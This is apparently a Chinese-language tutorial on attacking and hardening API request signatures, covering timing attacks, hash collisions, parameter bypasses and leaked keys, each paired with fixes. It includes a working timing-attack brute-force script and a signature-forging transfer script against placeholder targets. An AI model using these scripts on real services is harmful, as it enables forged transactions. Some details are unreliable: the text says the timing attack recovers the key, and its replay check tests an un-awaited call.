签名算法伪造攻防
"参数都签了名,所以不可能被篡改"——这句话只对了一半。签名可以被伪造,方式可能是暴力破解密钥、利用时序侧信道,甚至构造特定碰撞值。
一、为什么需要签名
接口签名解决两个核心问题:
- 防篡改:攻击者不能改请求参数
- 防重放:攻击者不能重复发送同一个请求
正常请求: GET /api/transfer?amount=100&to=alice
↓ 签名
amount=100&to=alice → HMAC(secret, data) → sign=abc123
↓
GET /api/transfer?amount=100&to=alice&sign=abc123
篡改请求: GET /api/transfer?amount=99999&to=alice&sign=abc123
↓ 服务端验签
HMAC(secret, "amount=99999&to=alice") ≠ abc123 → 拒绝 ✅
二、漏洞一:HMAC 时序攻击(Timing Attack)
2.1 漏洞描述
服务端比较 HMAC 值时使用"逐字节比较,遇到不等就立即返回"的写法。攻击者可以测量每次请求的响应时间,逐字节暴力还原出签名密钥。
2.2 漏洞代码
// VULNERABLE: 字符串比较存在时序差异
function verifySign(data, clientSign, secret) {
const serverSign = crypto.createHmac('sha256', secret)
.update(data).digest('hex');
// ❌ 普通字符串比较:逐字节检查,遇到不等立即返回
if (serverSign === clientSign) {
return true;
}
return false;
}
// 更糟糕的显式逐字节比较
function compareSign(sign1, sign2) {
if (sign1.length !== sign2.length) return false;
for (let i = 0; i < sign1.length; i++) {
if (sign1[i] !== sign2[i]) return false; // ❌ 提前 return
}
return true;
}
2.3 攻击原理
假设正确签名是 a4f2...(32 个十六进制字符),攻击者猜测第一个字符:
guess: sign[0] = '0' → 响应 10ms(第一个字节就不等,立刻返回)
guess: sign[0] = 'a' → 响应 15ms(第一个字节相等,继续比较第二个)
guess: sign[0] = 'f' → 响应 10ms
...
guess: sign[0] = 'a' → 响应 15ms ✅ 第一个字节确定是 'a'
然后固定第一个字节,猜第二个字节,以此类推,32 个字符最多 32 × 16 = 512 次请求就还原出密钥。
2.4 攻击脚本
# timing_attack.py — 通过响应时间逐字节爆破签名
import requests, time, string
TARGET = 'http://target.example.com/api/transfer'
SECRET_LEN = 32 # HMAC-SHA256 是 64 个 hex 字符,这里简化
def time_request(sign):
start = time.time()
resp = requests.post(TARGET, json={
'amount': 100, 'to': 'alice', 'sign': sign,
})
elapsed = time.time() - start
return elapsed, resp.status_code
def crack_sign():
sign = ''
chars = '0123456789abcdef'
for position in range(SECRET_LEN):
base_times = []
# 先测基准(前一个字节就错的情况)
for _ in range(5):
t, _ = time_request(sign + '0' + '0' * (SECRET_LEN - len(sign) - 1))
base_times.append(t)
best_char, best_time = '0', 0
for c in chars:
test_sign = sign + c + '0' * (SECRET_LEN - len(sign) - 1)
times = []
for _ in range(3):
t, code = time_request(test_sign)
if code == 200:
print(f'[+] 完全破解! sign={test_sign}')
return test_sign
times.append(t)
avg = sum(times) / len(times)
if avg > best_time:
best_time = avg
best_char = c
sign += best_char
print(f'[+] position {position}: {best_char} (avg_time={best_time:.4f}s)')
print(f' current sign: {sign}')
return sign
crack_sign()
2.5 修复:常量时间比较
// FIXED: 使用 crypto.timingSafeEqual 做常量时间比较
function verifySign(data, clientSign, secret) {
const serverSign = crypto.createHmac('sha256', secret)
.update(data).digest(); // Buffer 类型
const clientBuf = Buffer.from(clientSign, 'hex');
// ✅ timingSafeEqual 在常量时间内完成比较,不管从哪个位置开始不同
if (serverSign.length !== clientBuf.length) return false;
return crypto.timingSafeEqual(serverSign, clientBuf);
}
// 也可以用这个万能模板
function constantTimeCompare(a, b) {
if (a.length !== b.length) return false;
let diff = 0;
for (let i = 0; i < a.length; i++) {
diff |= a.charCodeAt(i) ^ b.charCodeAt(i);
}
return diff === 0;
}
三、漏洞二:MD5 / SHA-1 碰撞
3.1 漏洞描述
签名算法使用了已被破解的 MD5 或 SHA-1,攻击者可以构造两个不同的内容产生相同的哈希值(碰撞)。
3.2 漏洞代码
// VULNERABLE: 用 MD5 做签名(不安全)
function generateSign(params, secret) {
const sortedKeys = Object.keys(params).sort();
const str = sortedKeys.map(k => `${k}=${params[k]}`).join('&');
// ❌ MD5 已被证明存在实际碰撞攻击
return crypto.createHash('md5').update(str + secret).digest('hex');
}
// 攻击者找到两个不同的 params 生成相同的 sign
// 正常: paramsA → signX → 请求通过
// 篡改: paramsB → signX → 也通过(碰撞!)
3.3 修复:升级到 SHA-256 + HMAC
// FIXED: 用 HMAC-SHA256,而不是 MD5(secret + data)
function generateSign(params, secret) {
const sortedKeys = Object.keys(params).sort();
const str = sortedKeys.map(k => `${k}=${params[k]}`).join('&');
// ✅ HMAC 即使底层用了有问题的哈希(如 MD5),只要密钥保密就是安全的
// 但最好还是用 SHA-256
return crypto.createHmac('sha256', secret).update(str).digest('hex');
}
// 特别注意:不要用这种写法
// crypto.createHash('sha256').update(secret + data).digest() ❌
// 要用 HMAC:
// crypto.createHmac('sha256', secret).update(data).digest() ✅
四、漏洞三:签名参数位置与拼接问题
4.1 场景一:排序不一致
// 客户端签名
const client = Object.keys(params).sort().map(k => `${k}=${params[k]}`).join('&');
sign = HMAC(secret, client);
// 服务端签名(如果服务端没排序!)
const server = Object.keys(params).map(k => `${k}=${params[k]}`).join('&');
// ❌ 两端 key 顺序不一致 → 验签失败
// 更糟的是:如果服务端排序了但攻击者找到了不排序的接口
// 攻击者可以通过参数顺序绕签名
4.2 场景二:空值/特殊字符绕过
// VULNERABLE: 参数拼接没处理特殊字符
// 客户端: sign = HMAC(secret, "amount=100&to=alice")
// 攻击者添加一个没参与签名的参数
GET /api/transfer?amount=100&to=alice&sign=xxx&debug=true
// debug=true 被服务端处理但没参与签名
// 修复:所有非 sign 参数必须参与签名
const signParams = Object.keys(params)
.filter(k => !['sign', 'timestamp'].includes(k)) // sign 自己排除
.sort()
.map(k => {
const v = String(params[k]).replace(/=/g, '%3D').replace(/&/g, '%26');
return `${k}=${v}`;
})
.join('&');
4.3 场景三:重复参数 + 数组绕过
// VULNERABLE: 重复参数签名只签了一个值
// 攻击者: ?amount=100&amount=99999&sign=xxx&sign=yyy
// 服务端可能取最后一个值 99999 来处理,但签名用的是 100
// 修复:签名时把重复参数全部收集成数组再排序
function normalizeParams(params) {
const result = {};
for (const key of Object.keys(params).sort()) {
if (['sign', 'timestamp'].includes(key)) continue;
const value = params[key];
if (Array.isArray(value)) {
result[key] = value.map(String).sort().join(',');
} else {
result[key] = String(value);
}
}
return result;
}
五、漏洞四:签名密钥泄露
5.1 常见泄露途径
- 客户端硬编码:APP/前端 JS 里直接写着 secret
- 代码仓库泄露:开发者把含密钥的配置文件 commit 到 GitHub
- 日志打印:签名时把密钥打到了日志里
- 环境变量未隔离:测试环境密钥和生产环境一样
5.2 攻击
如果密钥泄露,整个签名机制形同虚设:
import hmac, hashlib, requests
SECRET = 'LEAKED_SECRET_FROM_JS' # 从前端源码里扒出来的
def make_sign(params):
raw = '&'.join(f'{k}={params[k]}' for k in sorted(params.keys()))
return hmac.new(SECRET.encode(), raw.encode(), hashlib.sha256).hexdigest()
# 伪造任意签名
payload = {'amount': 99999, 'to': 'attacker', 'timestamp': '...'}
payload['sign'] = make_sign({k: v for k, v in payload.items() if k != 'sign'})
requests.post('http://target/api/transfer', json=payload)
# 完美通过验签
5.3 修复
- 签名密钥只存在于服务端,绝不下发
- 用 KMS(密钥管理服务)托管密钥
- 日志脱敏,禁止打印密钥、签名、完整请求体
- 代码仓库加 pre-commit hook 扫描敏感信息
六、安全签名实现标准
6.1 推荐实现
const crypto = require('crypto');
const SECRET = process.env.SIGN_SECRET; // ✅ 只在服务端,从环境变量读
function buildSignString(params) {
return Object.keys(params)
.filter(k => !['sign'].includes(k))
.sort()
.map(k => {
let v = params[k];
if (v === undefined || v === null) v = '';
if (typeof v === 'object') v = JSON.stringify(v);
// ✅ URL 编码特殊字符
return `${encodeURIComponent(k)}=${encodeURIComponent(String(v))}`;
})
.join('&');
}
function sign(params) {
const data = buildSignString(params);
return crypto.createHmac('sha256', SECRET).update(data).digest('base64url');
}
function verify(params, clientSign) {
const data = buildSignString(params);
const expected = crypto.createHmac('sha256', SECRET).update(data).digest();
const received = Buffer.from(clientSign, 'base64url');
// ✅ 常量时间比较
if (expected.length !== received.length) return false;
return crypto.timingSafeEqual(expected, received);
}
module.exports = { sign, verify };
6.2 签名验证中间件
function signatureMiddleware(req, res, next) {
const clientSign = req.headers['x-signature'];
const timestamp = req.headers['x-timestamp'];
if (!clientSign || !timestamp) {
return res.status(401).json({ error: '缺少签名' });
}
// ✅ 防重放:时间戳超过 5 分钟拒绝
const now = Math.floor(Date.now() / 1000);
if (Math.abs(now - parseInt(timestamp)) > 300) {
return res.status(401).json({ error: '请求已过期' });
}
// 构造要签名的内容(请求体 + timestamp)
const bodyStr = JSON.stringify(req.body);
const data = { body: bodyStr, timestamp };
if (!verify(data, clientSign)) {
return res.status(401).json({ error: '签名无效' });
}
// ✅ 防重放:缓存已用的 timestamp 5 分钟
const replayKey = `sign:replay:${clientSign}`;
const isReplay = redis.set(replayKey, '1', 'NX', 'EX', 300);
if (!isReplay) {
return res.status(401).json({ error: '请求已使用过' });
}
next();
}
七、签名安全清单
| 检查项 | 推荐值 |
|---|---|
| 算法 | HMAC-SHA256 或 HMAC-SHA3 |
| 避免 | MD5、SHA-1、纯 hash(data + key) 拼接 |
| 比较函数 | crypto.timingSafeEqual |
| 密钥长度 | ≥ 256 bit(HMAC-SHA256 至少 32 字节) |
| 密钥位置 | 只在服务端,用 KMS 托管 |
| 参数规范化 | 排序 + URL 编码 + 过滤 sign 本身 |
| 防重放 | 时间戳 + Redis 记录已用签名 |
| 传输 | HTTPS + 签名,双重保护 |
八、总结
签名机制的安全链条是:哈希算法安全 → HMAC 构造正确 → 密钥保密 → 比较函数常量时间。任何一环出问题,签名都可以被绕过。
最容易踩的三个坑:
- 字符串直接比较(
sign1 === sign2)→ 时序攻击 - 密钥下发到客户端 → 签名形同虚设
- 参数拼接不规范 → 参数绕过
安全签名不是加一行代码就完事的,它是一个完整的防御体系。